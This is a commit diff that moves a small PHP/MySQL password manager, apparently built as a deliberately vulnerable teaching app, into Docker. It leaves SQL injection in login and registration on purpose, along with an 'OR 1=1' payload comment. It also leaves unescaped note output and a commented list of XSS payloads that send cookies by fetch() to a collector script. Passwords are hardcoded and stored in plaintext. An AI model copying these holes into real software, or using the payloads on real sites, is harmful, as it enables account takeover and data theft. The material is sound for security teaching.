Dockerize passman for modern environments

Ported the original passman PHP/MySQL application to a Docker-based setup using Apache and MariaDB.
Fixed compatibility issues with modern PHP/MariaDB versions (HTTP header handling and database collation) using minimal, targeted changes.
Preserved the original application logic and structure while ensuring correct execution in a contemporary containerized environment.
This commit is contained in:
Christos Choutouridis 2026-01-10 19:20:00 +02:00
parent 61c777f33a
commit 1f6dd6c8d8
8 changed files with 214 additions and 151 deletions

10
passman-dev/Dockerfile Normal file
View File

@ -0,0 +1,10 @@
FROM php:8.2-apache
# Install mysqli extension (needed for mysqli_connect)
RUN docker-php-ext-install mysqli
# Optional: enable rewrite
RUN a2enmod rewrite
# Keep default docroot: /var/www/html
WORKDIR /var/www/html

View File

@ -8,18 +8,19 @@
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET NAMES utf8 */;
/*!50503 SET NAMES utf8mb4 */;
/*!40103 SET CHARACTER SET utf8mb4 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;
CREATE DATABASE IF NOT EXISTS `pwd_mgr` /*!40100 DEFAULT CHARACTER SET latin1 */;
CREATE DATABASE IF NOT EXISTS `pwd_mgr` /*!40100 DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci */;
USE `pwd_mgr`;
CREATE TABLE IF NOT EXISTS `dummy` (
`id` int(11) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
CREATE TABLE IF NOT EXISTS `login_users` (
`id` int(11) NOT NULL AUTO_INCREMENT,
@ -27,7 +28,7 @@ CREATE TABLE IF NOT EXISTS `login_users` (
`password` varchar(256) NOT NULL DEFAULT '',
PRIMARY KEY (`id`),
UNIQUE KEY `user` (`username`)
) ENGINE=InnoDB AUTO_INCREMENT=4 DEFAULT CHARSET=latin1;
) ENGINE=InnoDB AUTO_INCREMENT=4 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
INSERT INTO `login_users` (`id`, `username`, `password`) VALUES
(1, 'u1', 'p1');
@ -39,7 +40,7 @@ CREATE TABLE IF NOT EXISTS `notes` (
PRIMARY KEY (`notesid`) USING BTREE,
KEY `FK_notes-login_users` (`login_user_id`) USING BTREE,
CONSTRAINT `FK_notes-login_users` FOREIGN KEY (`login_user_id`) REFERENCES `login_users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
) ENGINE=InnoDB AUTO_INCREMENT=28 DEFAULT CHARSET=latin1;
) ENGINE=InnoDB AUTO_INCREMENT=28 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
INSERT INTO `notes` (`notesid`, `login_user_id`, `note`) VALUES
(1, 1, 'test1');
@ -53,7 +54,7 @@ CREATE TABLE IF NOT EXISTS `websites` (
PRIMARY KEY (`webid`) USING BTREE,
KEY `FK_websites-login_users` (`login_user_id`),
CONSTRAINT `FK_websites-login_users` FOREIGN KEY (`login_user_id`) REFERENCES `login_users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
) ENGINE=InnoDB AUTO_INCREMENT=16 DEFAULT CHARSET=latin1;
) ENGINE=InnoDB AUTO_INCREMENT=16 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
INSERT INTO `websites` (`webid`, `login_user_id`, `web_url`, `web_username`, `web_password`) VALUES
(1, 1, 'www.test.com', 'tom', 'tompass');

View File

@ -0,0 +1,33 @@
services:
web:
build: .
ports:
- "80:80"
volumes:
- ./php:/var/www/html
environment:
DB_HOST: db
DB_USER: root
DB_PASS: rootpass
DB_NAME: pwd_mgr
depends_on:
- db
db:
image: mariadb:11
container_name: passman_db
environment:
MARIADB_ROOT_PASSWORD: rootpass
MARIADB_DATABASE: pwd_mgr
volumes:
# This auto-imports .sql on first run
- ./db/init:/docker-entrypoint-initdb.d
# Our DB
- dbdata:/var/lib/mysql
ports:
- "3306:3306"
volumes:
dbdata:

View File

@ -0,0 +1,17 @@
<?php
// Database configuration (Docker Compose friendly).
// NOTE: In Docker, the DB host is the service name (e.g., "db"), not "localhost".
$DB_HOST = getenv('DB_HOST') ?: 'db';
$DB_USER = getenv('DB_USER') ?: 'root';
$DB_PASS = getenv('DB_PASS') ?: 'rootpass';
$DB_NAME = getenv('DB_NAME') ?: 'pwd_mgr';
// Create a DB connection.
$conn = mysqli_connect($DB_HOST, $DB_USER, $DB_PASS, $DB_NAME);
if (!$conn) {
// Fail fast if the DB is not reachable.
die("Database connection failed: " . mysqli_connect_error());
}
//?>

View File

@ -1,23 +1,3 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Dashboard</title>
<style>
table {
border-collapse: collapse;
width: 30%;
border: 1px solid black;
}
td, tr {
width: 50%;
padding: 8px;
text-align: left;
}
</style>
</head>
<?php
// Resume existing session (or start a new one)
session_start();
@ -31,12 +11,13 @@ if (!isset($_SESSION['loggedin']) || $_SESSION['loggedin'] !== true || $_SESSION
$username = $_SESSION['username'];
// Connect to the database
$conn=mysqli_connect("localhost","root","","pwd_mgr");
// Check connection
if (mysqli_connect_errno()) {
echo "Failed to connect to MySQL: " . mysqli_connect_error();
exit();
}
// $conn=mysqli_connect("localhost","root","","pwd_mgr");
// // Check connection
// if (mysqli_connect_errno()) {
// echo "Failed to connect to MySQL: " . mysqli_connect_error();
// exit();
// }
require_once __DIR__ . "/config.php";
// Check if 'Insert-new-website' button is selected
if(isset($_POST['new_website'], $_POST['new_username'], $_POST['new_password']) &&
@ -108,6 +89,26 @@ $conn -> close();
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Dashboard</title>
<style>
table {
border-collapse: collapse;
width: 30%;
border: 1px solid black;
}
td, tr {
width: 50%;
padding: 8px;
text-align: left;
}
</style>
</head>
<body>
<p/>
<form method="POST" action="dashboard.php">

View File

@ -1,13 +1,4 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Login Form</title>
</head>
<?php
// Start a new session (or resume an existing one)
session_start();
// Check if the user is already logged in
@ -27,12 +18,13 @@ if ($_SERVER["REQUEST_METHOD"] === "POST") {
$password = trim($_POST['password']);
// Connect to the database
$conn=mysqli_connect("localhost","root","","pwd_mgr");
// Check connection
if (mysqli_connect_errno()) {
echo "Failed to connect to MySQL: " . mysqli_connect_error();
exit();
}
// $conn=mysqli_connect("localhost","root","","pwd_mgr");
// // Check connection
// if (mysqli_connect_errno()) {
// echo "Failed to connect to MySQL: " . mysqli_connect_error();
// exit();
// }
require_once __DIR__ . "/config.php";
// xxx' OR 1=1; -- '
$sql_query = "SELECT * FROM login_users WHERE username='{$username}' AND password='{$password}';";
@ -72,6 +64,14 @@ if ($_SERVER["REQUEST_METHOD"] === "POST") {
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Login Form</title>
</head>
<body>
<h3>Password Manager</h3>
<form method="POST" action="">

View File

@ -1,3 +1,93 @@
<?php
// Resume existing session (or start a new one)
session_start();
// If not logged in redirect to login page
if (!isset($_SESSION['loggedin']) || $_SESSION['loggedin'] !== true || $_SESSION['username'] == '') {
header("Location: login.php");
exit;
}
$username = $_SESSION['username'];
// Connect to the database
// $conn=mysqli_connect("localhost","root","","pwd_mgr");
// // Check connection
// if (mysqli_connect_errno()) {
// echo "Failed to connect to MySQL: " . mysqli_connect_error();
// exit();
// }
require_once __DIR__ . "/config.php";
// Check if new note is entered and add it
if(isset($_POST['new_note']) && trim($_POST['new_note']) !='') {
$new_note = trim($_POST["new_note"]);
/*
XSS using alert(2)<script>alert(2);</script>
XSS using string.fromCharCode with ASCII codes<script>alert(String.fromCharCode(88,83,83,32,117,115,105,110,103,32,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101));</script>
XSS eval of Hex Unicode Escape Sequences<script>eval("\u0061\u006c\u0065\u0072\u0074(\u0022\u0058\u0053\u0053\u0020\u0075\u0073\u0069\u006e\u0067\u0020\u0065\u0076\u0061\u006c\u0022)");</script>
XSS console cookie<script>console.log(document.cookie);alert(document.cookie);</script>
XSS steal cookie with fetch
<script>
fetch(`http://localhost/passman/xss/getcookie.php?v=`+document.cookie)
.then(response => response.text())
.then(data => {
console.log(data);
})
.catch(error => {
console.error(`Error fetching data:`, error);
});
</script>
XSS steal cookie with simpler fetch<script>fetch(`http://localhost/passman/xss/getcookie.php?v=`+document.cookie)</script>
or<script>fetch(`http://localhost/passman/xss/getcookie.php?v=${document.cookie}`)</script>
// HAS PROBLEM: XSS steal cookie with href redirection<script>window.location.href=`http://localhost/passman/xss/getcookie.php?v=`+document.cookie;</script>
// HAS PROBLEM: XSS steal cookie with img on-error<img src=x onerror=this.src=`http://localhost/passman/xss/getcookie.php?v=`+document.cookie;>
*/
// Insert new note
//$sql_query = "INSERT INTO notes (login_user_id,note) VALUES " .
// "((SELECT id FROM login_users WHERE username='{$username}'),('{$new_note}'));";
$sql_query = "INSERT INTO notes (login_user_id, note) ".
"VALUES ((SELECT id FROM login_users WHERE username='{$username}'), '{$new_note}')";
//echo $sql_query;
$result = $conn->query($sql_query);
$conn -> close();
// After processing, redirect to the same page to clear the form
unset($_POST['new_note']);
header("Location: " . $_SERVER['PHP_SELF']);
exit();
}
// Display list of all notes/comments
$sql_query = "SELECT notes.note, login_users.username FROM notes INNER JOIN login_users ON notes.login_user_id=login_users.id;";
//echo $sql_query;
$result = $conn->query($sql_query);
echo "<h3>List of notes/comments</h3>";
if (!empty($result) && $result->num_rows >= 1) {
while ($row = $result -> fetch_assoc()) {
echo "<div class='note'>";
echo "<div class='note-content'>" . $row["note"] . "</div>";
echo "<div class='note-signature'> by " . $row["username"] . "</div>";
echo "</div>";
}
// Free result set
$result -> free_result();
} else {
echo "<p><font color=red>No entries found.</font></p>";
}
$conn -> close();
?>
<!DOCTYPE html>
<html lang="en">
<head>
@ -69,95 +159,6 @@
</style>
</head>
<?php
// Resume existing session (or start a new one)
session_start();
// If not logged in redirect to login page
if (!isset($_SESSION['loggedin']) || $_SESSION['loggedin'] !== true || $_SESSION['username'] == '') {
header("Location: login.php");
exit;
}
$username = $_SESSION['username'];
// Connect to the database
$conn=mysqli_connect("localhost","root","","pwd_mgr");
// Check connection
if (mysqli_connect_errno()) {
echo "Failed to connect to MySQL: " . mysqli_connect_error();
exit();
}
// Check if new note is entered and add it
if(isset($_POST['new_note']) && trim($_POST['new_note']) !='') {
$new_note = trim($_POST["new_note"]);
/*
XSS using alert(2)<script>alert(2);</script>
XSS using string.fromCharCode with ASCII codes<script>alert(String.fromCharCode(88,83,83,32,117,115,105,110,103,32,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101));</script>
XSS eval of Hex Unicode Escape Sequences<script>eval("\u0061\u006c\u0065\u0072\u0074(\u0022\u0058\u0053\u0053\u0020\u0075\u0073\u0069\u006e\u0067\u0020\u0065\u0076\u0061\u006c\u0022)");</script>
XSS console cookie<script>console.log(document.cookie);alert(document.cookie);</script>
XSS steal cookie with fetch
<script>
fetch(`http://localhost/passman/xss/getcookie.php?v=`+document.cookie)
.then(response => response.text())
.then(data => {
console.log(data);
})
.catch(error => {
console.error(`Error fetching data:`, error);
});
</script>
XSS steal cookie with simpler fetch<script>fetch(`http://localhost/passman/xss/getcookie.php?v=`+document.cookie)</script>
or<script>fetch(`http://localhost/passman/xss/getcookie.php?v=${document.cookie}`)</script>
// HAS PROBLEM: XSS steal cookie with href redirection<script>window.location.href=`http://localhost/passman/xss/getcookie.php?v=`+document.cookie;</script>
// HAS PROBLEM: XSS steal cookie with img on-error<img src=x onerror=this.src=`http://localhost/passman/xss/getcookie.php?v=`+document.cookie;>
*/
// Insert new note
//$sql_query = "INSERT INTO notes (login_user_id,note) VALUES " .
// "((SELECT id FROM login_users WHERE username='{$username}'),('{$new_note}'));";
$sql_query = "INSERT INTO notes (login_user_id, note) ".
"VALUES ((SELECT id FROM login_users WHERE username='{$username}'), '{$new_note}')";
//echo $sql_query;
$result = $conn->query($sql_query);
$conn -> close();
// After processing, redirect to the same page to clear the form
unset($_POST['new_note']);
header("Location: " . $_SERVER['PHP_SELF']);
exit();
}
// Display list of all notes/comments
$sql_query = "SELECT notes.note, login_users.username FROM notes INNER JOIN login_users ON notes.login_user_id=login_users.id;";
//echo $sql_query;
$result = $conn->query($sql_query);
echo "<h3>List of notes/comments</h3>";
if (!empty($result) && $result->num_rows >= 1) {
while ($row = $result -> fetch_assoc()) {
echo "<div class='note'>";
echo "<div class='note-content'>" . $row["note"] . "</div>";
echo "<div class='note-signature'> by " . $row["username"] . "</div>";
echo "</div>";
}
// Free result set
$result -> free_result();
} else {
echo "<p><font color=red>No entries found.</font></p>";
}
$conn -> close();
?>
<body>
<p/>
<form method="POST">

View File

@ -1,13 +1,3 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Registration Form</title>
</head>
<body>
<h3>New user registration</h3>
<?php
// Start a new session (or resume an existing one)
session_start();
@ -31,12 +21,13 @@ if ($_SERVER["REQUEST_METHOD"] === "POST") {
mysqli_report(MYSQLI_REPORT_OFF); // disable exceptions
// Connect to the database
$conn=mysqli_connect("localhost","root","","pwd_mgr");
// Check connection
if (mysqli_connect_errno()) {
echo "Failed to connect to MySQL: " . mysqli_connect_error();
exit();
}
//$conn=mysqli_connect("localhost","root","","pwd_mgr");
//// Check connection
//if (mysqli_connect_errno()) {
// echo "Failed to connect to MySQL: " . mysqli_connect_error();
// exit();
//}
require_once __DIR__ . "/config.php";
// Insert a new user
$sql_query = "INSERT INTO login_users (username,password) VALUES ('{$new_username}','{$new_password}');";
@ -62,7 +53,16 @@ if ($_SERVER["REQUEST_METHOD"] === "POST") {
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Registration Form</title>
</head>
<body>
<h3>New user registration</h3>
<p/>
<form method="POST" action="register.php">
<input type="text" name="new_username" placeholder="Username"><br />